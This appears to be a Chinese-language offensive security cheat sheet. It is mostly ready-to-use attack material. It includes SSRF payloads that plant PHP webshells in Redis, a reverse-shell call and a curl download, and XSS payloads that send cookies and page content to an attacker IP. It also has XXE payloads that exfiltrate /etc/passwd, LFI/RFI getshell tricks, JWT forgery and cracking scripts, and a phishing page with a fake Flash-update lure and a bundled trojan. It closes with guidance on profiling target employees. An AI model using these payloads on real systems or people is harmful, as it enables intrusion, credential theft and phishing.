?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?> ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/ ?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php ?url=dict://127.0.0.1:6379/save Unicode编码 ?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"
slaveof复制shell到目标
From:http://r3start.net/index.php/2020/05/09/683 你的redis设置一个shell的键 Yourredis>FLUSHALL Yourredis>set shell "<?php phpinfo();?>" ?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379 ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/ ?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php ?url=dict://127.0.0.1:6379/save ?url=dict://127.0.0.1:6379/slaveof:no:one
反弹的奴隶
?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379 ?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so ?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so ?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE ?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb ?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x' ?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
Fuzz/扫描网络
#dirb http://192.168.0.1 /root/asp.txt,/root/dir.txt -a "USER-AGENT" –c "Cookie" -z 100 #nikto -C all -h http://192.168.0.107 nikto扫描web服务 #wpscan --url http://192.168.0.107/ -e u --wordlist /root/wordlist.txt 枚举用户爆破密码 #wpscan --url http://192.168.0.107/ -e vp 扫描漏洞插件 #perl joomscan.pl --url 192.168.0.107
伍兹
爆破文件和文件夹 >wfuzz -w wordlist URL/FUZZ.php >wfuzz -w wordlist URL/FUZZ 枚举数字参数 >wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ POST账号密码爆破FUZnZ >wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php 随机HTTP头 >wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666 使用代理fuzz >wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ 基础认证爆破 >wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL 【结果过滤】--hc或--ss不显示符合条件的结果。 【结果过滤】--sc或--sl或--sw或--sh显示符合条件的结果。
考尔
爬行网站存为字典 >cewl http://www.qq.com/ -w dict.txt 指定字典长度 >cewl http://www.qq.com/ -m 9 -w dict.txt 网站提取Email >cewl http://www.qq.com/ -n –e
目录搜索
>python3 dirsearch.py --random-user-agents --recursive --thread 50 --extension php --plain-text-report report.txt –url http://127.0.0.1
绕过WAF
SQL注入分块传输
https://github.com/c0ny1/chunked-coding-converter
跑注入点被拦截
使用分块传输,右键选择
使用SQLMAP跑注入
>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs
自动提供可用的篡改
https://github.com/m4ll0k/Atlas GET类型的注入 python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v POST类型的注入 python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v 请求头注入 python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v 组合tamper python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v 列出tamper python atlas.py -g 例子 注入 python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3
可以看到被拦截了 查找能绕过的tamper python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v
根据返回码200得到一个可绕过waf的tamper versionedkeywords这个tamper
-
- 父进程隐藏
- loT高频率账户密码
- 绕过 mod_security
- 查找git和svn的搜索结果
- 前 25 名观众
- 使用grep快速清除垃圾数据
- 已准备好密码 整理出的字典
- 注射命令绕行
- 是否存在heartbleed漏洞查询
- 远程解压文件
- Top25 ssrf 傻瓜
- 使用SecurityTrails API查询子域名
- 邮件地址有效载荷
- 网络服务器日志分析命令
- 绕过 AMSI
- 绕过 AMSI 2
- CVE-2020-5902
- 一些可以试用白板的执行
- 横向保护
- 佩佐免杀
- 动态流程注入
- 在 Windows Server 216 和 2019 中使用 Windows Defender
- 内存中解码shellcodeav
- cshot shellcode远程加载器
- thinkphp 手段
- 使用windows defender下载文件
- Powershell脚本重写amsi和av
- 通过挂起EventLog服务终止Windows事件日志
- 解码器
- dedecms重置前台管理员密码
- Shiro rememberMe反序列化漏洞
- Shiro Padding 预言机攻击
- shiro权限
- 编辑器漏洞
- 宝塔面板未授权访问phpmyadmin
- 深信服
- 从LFI到RCE
- 隐藏windows服务
信息采集
谁是
站点注册人注册过的其他网站(对注册人、邮箱、电话的反查),对查到的站点的深入
网站IP
是否存在CDN
Ping、多地ping、国外ping
绕过 cdn 正常方式
子域名 https://dnsdb.io/zh-cn/ Ping根域名 Nslookup Cloudflare的真实IP寻找 http://crimeflare.org:82/cfs.html https://github.com/gwen001/pentest-tools/blob/master/cloudflare-origin-ip.py 查找老域名 查找关联域名 www.baidu.com www.baidu.cn www.baidu.org www.baidu.xyz等等 信息泄露/配置文件 Phpinfo 网页源码 Svn Github Shodan/fofa/zoomeye SSL证书记录 https://censys.io/ 网站漏洞 Xss Ssrf 命令执行 SQL注入(某种情况loadfile读取linux的ip配置文件,hosts文件等) DNS记录,证书记录 设置xff/x-remote-ip/x-remote-addr为127.0.0.1/或ipv6地址 RSS订阅/邮件头 APP反编译搜索/截取APP的请求信息 修改hosts文件指向
域名历史IP
网站架构/服务器指纹/CMS识别/容器
Whatweb 网页源代码 请求头/响应头 网站底部,顶部,左上角右上角 网站报错信息 http://www.yunsee.cn/ 域名/install Firefox插件Wappalyzer CMS漏洞 定位版本对应已知漏洞检查 CMS未知漏洞挖掘 Web容器已知漏洞(解析漏洞这种) 显示网站使用的技术 https://builtwith.com/ 中间件、组件 Weblogic、tomcat、zabbix、struts、axis等 https://github.com/FortyNorthSecurity/EyeWitness
子域名
老站、同样架构或同源码的子站 爆破,接口查询 https://phpinfo.me/domain/ https://d.chinacycc.com/index.php?m=Login&a=index subDomainBrute、knockpy OWA发现、dig adfs、dig mail https://dns.bufferover.run/dns?q=baidu.com http://api.hackertarget.com/reversedns/?q=target.com
网站使用的 CMS 的官方演示站
找不到demo就找源码开发者,加群什么的,结合社会工程学要个后台截图(对于一些后台目录复杂的cms),注意看网站上一些功能介绍的截图。
SSL 证书信息
https://crt.sh/?q=%25.target.com https://censys.io/certificates?q=target.com https://github.com/cheetz/sslScrape
DNS历史解析记录
https://dnsdumpster.com/ https://censys.io/ https://securitytrails.com/ 域传送漏洞检查 Dnsenum、fierce http://ha.ckers.org/fierce/ $ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt >dig @ns.example.com example=.com AXFR >nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器 >nslookup #进入nslookup交互模式 >server dns.domian.com #指定dns服务器 >ls xxx.yyy.cn #列出域信息
同服站点情况
https://site.ip138.com/ 火狐插件flagfox,配置单击指向bing查ip对应的域名
架构或源源的站名
网站js
https://github.com/003random/getJS https://github.com/Threezh1/JSFinder 或浏览器F12也可以看到加载的 敏感信息、可能存在漏洞的参数等信息 查看网页源代码,注释的一些信息,比如没有删掉的接口、前台没有的页面、越权、注入、js等
网站使用权js
云信息
Aliyun、AWS、GCP、Azure等 查找可公开访问的实例 https://github.com/gwen001/s3-buckets-finder https://github.com/nccgroup/aws-inventory https://github.com/jordanpotti/AWSBucketDump
APP反编译
url、js、osskey、api等信息查找 搜集到接口该怎么做 Fuzz常见参数
C段/B段信息
Banner、是否存在目标的后台或其他入口/其他业务系统
工具
recon-ng,theharvester,maltego,exiftool等 https://www.spiderfoot.net/ https://github.com/smicallef/spiderfoot
端口开放情况
Masscan、scanport等 针对常见的那些端口的利用的常规方法 常见的未授权访问的服务如redis,mongodb等
目录扫描/爬虫(慎用)
WAF 情况识别
https://github.com/EnableSecurity/wafw00f 做好绕过策略的计划
随手测试
单引号 xx.jpg/.php admin/123456 万能密码 Heartbleed漏洞
搜索引擎
Google自定义搜索引擎整合的300多个社交网站 https://cse.google.com/cse?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:iyxger-cwug&q=%22%22 Google自定义搜索引擎整合的文件共享网站 https://cse.google.com/cse/publicurl?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:hn5bcrszfhe&q=%22%22 领英用户提取 https://cse.google.com/cse?cx=001394533911082033616:tm5y1wqwmme
Shodan/fofa/zoomeye
谷歌笨蛋
Site,filetype,intitle,inurl,intext等
信息化
电话、邮箱,姓名 目录遍历 备份文件 (www.zip,xx.com.zip,www.xx.com.zip,wwwroot.zip) .svn/.git/sql/robots/crossdomin.xml/DS_Store等 https://github.com/lijiejie/ds_store_exp https://github.com/admintony/svnExploit 若是论坛ID=1的用户名一般为管理、或查看帖子信息、生成字典 网页上客服的QQ(先判断是企业的还是个人,用处有时不太大,看怎么用,搞个鱼叉什么的)
网页缓存
http://www.cachedpages.com/
图片反查
百度识图、googleimage、tineye 原图查询坐标
社交
QQ、weibo、支付宝、脉脉、领英、咸鱼、短视频、人人、贴吧、论坛 外网信息 有些人喜欢把自己的生活传到外网 推特、ins、fb等
加入手机号通讯录匹配成功APP用户信息
注册过的网站
https://www.reg007.com/ https://www.usersearch.org/
目标人员的兴趣
目标人员的兴趣 注册过的小众论坛,站点 针对此类站点的深入 收集到的用户名,电话等信息生成字典
邮箱
https://hunter.io/ https://github.com/killswitch-GUI/SimplyEmail
交换
https://github.com/dafthack/MailSniper
验证邮箱是否存在
https://tools.verifyemailaddress.io/
过往的资料等
库 https://haveibeenpwned.com/ https://github.com/kernelmachine/haveibeenpwned
Github/Gitee等代码平台
https://github.com/dxa4481/truffleHog https://github.com/lijiejie/GitHack https://github.com/MiSecurity/x-patrol https://github.com/az0ne/Github_Nuggests https://github.com/mazen160/GithubCloner克隆用户的github
被地址列表
http://zone-h.org/archive wooyun镜像查找目标企业曾出现的漏洞
GPS查询
https://www.opengps.cn/Default.aspx
网站提取URL
http://www.bulkdachecker.com/url-extractor/
蜜罐鉴定
https://honeyscore.shodan.io/
密码默认
https://default-password.info/ http://routerpasswords.com
注册注册
Sms https://www.materialtools.com/ http://receivefreesms.com/ Email https://10minutemail.net/ https://zh.mytrashmailer.com/ http://24mail.chacuo.net/enus https://www.linshiyouxiang.net/ Fake id https://www.fakenamegenerator.com/ http://www.haoweichi.com/ https://www.fakeaddressgenerator.com/
企业信息
天眼查、企查查、企业信用信息公示系统 企业邮箱收集,企业架构画像、人员统计、人员职责、部门、WiFi、常用部门密码、人员是否泄露过密码、人员平时爱逛的站点、OA/erp/crm/sso/mail/vpn等入口、网络安全设备(waf,ips,ids,router等统计)、内部使用的代码托管平台(gitlab、daocloud等),bug管理平台、服务器域名资产统计
入口点
win10 安装kali(wsl)
Microsoft Store查找kali下载。 Powershell执行 >Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux 源设置vim /etc/apt/source.list deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free >sudo su >passwd root修改root密码 >apt-get update &apt-get upgrade 更新 >apt-get dist-upgrade >apt-get clean cmd>kali config --default-user root 设置默认启动用户为root cmd>net stop/start LxssManager重启服务 >apt-get install metasploit-framework >apt install kali-linux-full 安装完整kali工具集
水坑攻击
XSS免费钓鱼
保存js&css到服务器,登录action改为接受密码的文件action="./pass.php" <?php //php $user=$_POST['username']; $pass=$_POST['password']; $file=fopen('pass.txt','a+'); fwrite($file,$user."|"."pass" . "\n"); fclose($file); echo "<script>window.location.href=\"http://192.168.0.1\"</script>\n"; ?> 构造payload <script>window.location.href="http://192.168.0.1/login.html"</script> php –S 0.0.0.0:8080 –t ./
页面显示钓鱼
1
https://github.com/r00tSe7en/Fake-flash.cn 添加xss平台模块 window.alert = function(name){ var iframe = document.createElement("IFRAME"); iframe.style.display="none"; iframe.setAttribute("src",'data:text/plain'); document.documentElement.appendChild(iframe); window.frames[0].window.alert(name); iframe.parentNode.removeChild(iframe); } alert("您的FLASH版本过低,尝试升级后访问该页面!"); window.location.href="http://www.flash.com"; 制作自解压捆绑 一个马.exe,一个正常exe,全选,winrar添加到压缩文件,选择创建自解压格式压缩文件,高级->自解压选项,设置解压路径,c:\windows\temp\,设置->解压后运行两个exe文件,模式全部隐藏,更新,解压并更新文件,覆盖所有文件。 ResourceHacker修改文件图标
2
if(empty($_COOKIE['flash'])){ echo '<script>alert("你当前计算机的Flash软件已经很久未更新,将导致无法正常显示界面内容,请下载安装最新版本!");window.location="http://www.flash.cn.xx.com/"</script>'; setcookie("flash","true",time()+30*2400); }
晚服务攻击
网络
前端/逻辑漏洞
注册
任意用户注册 可爆破用户名 注入 XSS
登录
爆破用户名,密码 注入 万能密码 Xss Xss+Csrf 修改返回包信息,登入他人账户 修改cookie中的参数,如user,adminid等
任意重置重置
1.重置一个账户,不发送验证码,设置验证码为空发送请求。 2.发送验证码,查看相应包 3.验证码生存期的爆破 4.修改相应包为成功的相应包 5.手工直接跳转到校验成功的界面 6.两个账户,重置别人密码时,替换验证码为自己正确的验证码 7.重置别人密码时,替换为自己的手机号 8.重置自己的成功时,同意浏览器重置别人的,不发验证码 9.替换用户名,ID,cookie,token参数等验证身份的参数 10.通过越权修改他人的找回信息如手机/邮箱来重置
信息化
HTML源码、JS等查看信息搜集一章
后台
登录参数修改为注册参数/reg、/register、/sign等
JWT 攻击方式
https://jwt.io/#debugger-io
未签名签名
将原JWT串解码后修改用户名等身份认证的地方,生成新token发送请求
不想哈希
Alg代表加密方式,修改用户名等身份认证的地方,把HS256设置为none生成token发送请求,使用python的pyjwt模块
jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')
暴弱弱密钥
>pip3 install pyjwt >python3 crack.py import jwt import termcolor jwt_str = R'token' with open('/root/password.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str,verify=True,key=key_) print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--') break except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError): print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--') except jwt.exceptions.InvalidSignatureError: print('\r',' ' * 64, '\r\btry',key_,end='',flush=True) continue else: print('\r','\bnot found.')
跨站脚本
打COOKIE <svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)"> 读取HTML <svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)"> 读文件 <svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET","file.php",true); xmlhttp.send(); "> XSS+SSRF读取服务器文件 <svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
CSRF
查看有无token等验证身份的参数,删掉后是否返回正常 查看header中referer,origin参数,删掉后是否返回正常 使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试 去掉referer中域名后面的文件夹或文件 替换二级域名
php任意文件读取/下载
readfile()、file_get_contents()、fopen()等读文件的函数不严谨,读取文件路径可控,输出内容。 下载配置文件 Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件 下载log文件 下载web文件 /1.php?f=../../etc/passwd /1.php?f=file:///etc/passwd(file://绕过../的防护) /1.php?f=file:///etc/passwd
php文件包含
函数: include require include_once require_once
常用协议
file:// — 访问本地文件系统 file协议的工作目录是当前目录,使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况 php:// — 访问各个输入/输出流(I/O streams)
读取 /1.php?file=php://filter/read=convert.base64-encode/resource=./1.php 写入 /1.php?file=php://filter/write=convert.base64-decode/resource=[file]","base64
获取壳
https://github.com/D35m0nd142/LFISuite
allow_url_include 开启时Getshell
远程文件包含 /1.php?file=http://remote.com/shell.txt /1.php?file=php://input POST:<?php phpinfo();?> 或使用curl >curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>" 或使用data://协议解析base64的代码 /1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
allow_url_include 关闭时Getshell
攻击机开启共享 /1.php?file=//attacker/1.php 创建webdav服务,shell文件放入目录包含即可 >docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav Shell文件放入/root/webdav/data /1.php?file=//attacker/1.php
包含日志文件getshell
Fuzz文件 https://github.com/fuzzdb-project/fuzzdb https://github.com/danielmiessler/SecLists https://blog.csdn.net/qq_33020901/article/details/78810035 /1.php?file=<?php phpinfo();?> /1.php?file=../../../../../../../var/log/apache2/access.log Win下使用phpstudy 请求/<?php phpinfo();?> 包含错误日志 /1.php?file=C:\phpStudy\Apache\logs\error.log
上传个图片格式的木马直接包含
/1.php?file=/uploadfile/1.jpg
后缀缀时
<?php $file = $_GET['file'].".php"; include($file); ?><br> 利用伪协议zip,构造一个zip压缩包,打包一个shell.php,将压缩包更名为png
请求/1.php?file=zip://shell.png%23shell
也可使用phar协议访问 /1.php?file=phar://shell.png/shell 老版本可以使用%00截断 /etc/passwd%00 (需要 magic_quotes_gpc=off,PHP小于5.3.4有效) /var/www/%00 /etc/passwd/././././././.[…]/./././././. (需要 magic_quotes_gpc=off (php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256) 点号截断: /boot.ini/………[…]………… (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
phpinfo-LFI 本地文件包含临时文件getshell
利用临时文件删除时间差获取shell 需要一个lfi漏洞+phpinfo页面 在/tmp/目录下生成个密码为f的一句话木马g
修改脚本的phpinfo文件名称
LFI文件
执行 >python getshell.py 192.168.0.108 80 100 80是端口、100是线程
http://192.168.0.110/index.php?file=../../../tmp/g&f=echo%20%271%27
session + lfi getshell
session.upload_progress.enabled启用时,文件上传会产生进度文件 /var/lib/php5/sess_ /var/lib/php/sess_
LFI SSH 日志
>ssh '<?php system($_GET['c']); ?>'@192.168.0.107 >http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls
RFI&命令上线上线
MSF生成 #use exploit/multi/script/web_delivery #set target PHP 注入点注入: php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:1234/OgsOFaj3yKH'));" RFI: http://www.xx.com/file=http://192.168.0.107:1234/OgsOFaj3yKH
XML
XML设计的宗旨是传输数据,而非显示数据 XXE=XML外部实体注入、XML=可扩展标记语言 Xml文件声明 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> DTD为XML的文档类型定义 引入外部DTD <!DOCTYPE 根元素 SYSTEM "filename"> 参数实体+外部实体 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> %file; ]>
XML注入
闭合标签,改写xml文件,用户可控,有拼接代码 <?xml version="1.0" encoding="utf-8"?> <manager> <admin id="1"> <username>admin</username> <password>admin</password> </admin> <admin id="2"> <username>root</username> <password>root</password> </admin> </manager> 若是password可控,拼接代码形成注入 admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
XXE
https://github.com/AonCyberLabs/xxe-recursive-download 程序解析XML输入时,未禁止外部实体的加载,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
鉴定鉴定
回显路径 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]> DNSLOG http://www.dnslog.cn/ <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]> <xxe>&dtd;</xxe> Webdav 存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe Wsdl使用AWVS测试
挖掘
如遇与xml交互的地方 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY test "this is test"> ]> <root>&test;</root> 看是否输出 检查是否支持外部实体 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % foo SYSTEM "http://attacker/evil.xml"> %foo; ]> 查看你的服务器是否有请求 JSON content-type XXE 修改Content-Type: application/xml X-Requested-With: XMLHttpRequest <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <参数name>name</参数name> <参数value>&xxe;</ 参数value> </root>
有回显读取本地文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:////etc/passwd"> ]> <creds>&goodies;</creds> 也可去掉文件列目录 file:///root/.sh/id_rsa 特殊字符 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> %dtd; ]> <roottag>&all;</roottag> evil.dtd <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
盲OOB XXE无回显读取
需使用参数实体,引用外部DTD Payload <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> test.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker:9999?p=%file;'>">
列目录
远程payload <!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c; 注入payload <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>
不同平台支持的协议
执行命令
安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
内网主机探测
可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段 使用脚本
内网端口扫描
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> 可使用burpsuite的intruder模块进行遍历
内部DTD利用
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
视窗
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd; <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message>
XXE写shell
当XXE支持XSL时 <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="C#" implements-prefix="user"> <![CDATA[ public string xml() { System.Net.WebClient webClient = new System.Net.WebClient(); webClient.DownloadFile("https://x.x.x.x/shell.txt", @"c:\inetpub\wwwroot\shell.aspx"); return "Exploit Success"; } ]]> </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml()"/> </xsl:template> </xsl:stylesheet>
SSRF
定义的
服务端请求伪造 构造一个由服务器发出请求的漏洞 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
成因
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
挖掘
转码服务 在线翻译 获取超链接的标题等内容进行显示 请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片) 图片、文章收藏功能 对外发起网络请求的地方,网站采集、网页抓取的地方。 头像 (远程加载头像) 一切要你输入网址的地方和可以输入ip的地方。 数据库内置功能(mongodb的copyDatabase函数) 邮件系统 文件处理 在线处理工具 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
XML
<!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd"> <!ENTITY % file system "file:///etc/passwd" > <!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file"> <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin"> <xenc:AgreementMethod Algorithm= "http://wuyun.org/1"> <xenc:EncryptionProperty Target= "http://wuyun.org/2"> <xenc:CipherReference URI= "http://wuyun.org/3"> <xenc:DataReference URI= "http://wuyun.org/4"> <Reference URI="http://wuyun.org/5"> <To xmlns="http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To> <ReplyTo xmlns="http://www.w3.org/2005/08/addressing"> <Address>http://wuyun.org/rto</Address> <input message="wooyun" wsa:Action="http://wuyun.org/ip" /> <output message="wooyun" wsa:Action="http://wuyun.org/op" /> <wsp:PolicyReference URI=“http://wuyun.org/pr"> <fed:Federation FederationID="http://wuyun.org/fid"> <fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude> <fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName> <mex:MetadataReference> <wsa:Address>http://wuyun.org/mex</wsa:Address> </mex:MetadataReference> <edmx:Reference URI="http://wuyun.org/edmxr"> <edmx:AnnotationsReference URI="http://wuyun.org/edmxa"> <xbrli:identifier scheme="http://wuyun.org/xbr"> <link:roleType roleURI="http://wuyun.org/role"> <stratml:Source>http://wuyun.org/stml</stratml:Source>
数据库
MongoDB
db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
PostgresSQL
SELECT dblink_send_query( 'host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();’ );
微软SQL
SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master') SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
图片处理程序
FFmpeg concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd ImageMagick fill 'url(http://wyssrf.wuyun.org)'
攻击
测试代码,需安装phpcurl模块apt-get install php7.0-curl <?php echo 'r u ok?'; function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?> 对内网、本地进行端口扫描,获取服务的banner 信息 攻击运行在内网或本地的应用程序 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件) 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli) 读取内网资源(如:利用file协议读取本地文件等) 跳板 无视cdn 利用Redis未授权访问,HTTP CRLF注入实现getshell
读取文件
>curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'
?url=php://filter/read=convert.base64-encode/resource=./1.php
端口探测
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'
SSRF+Redis
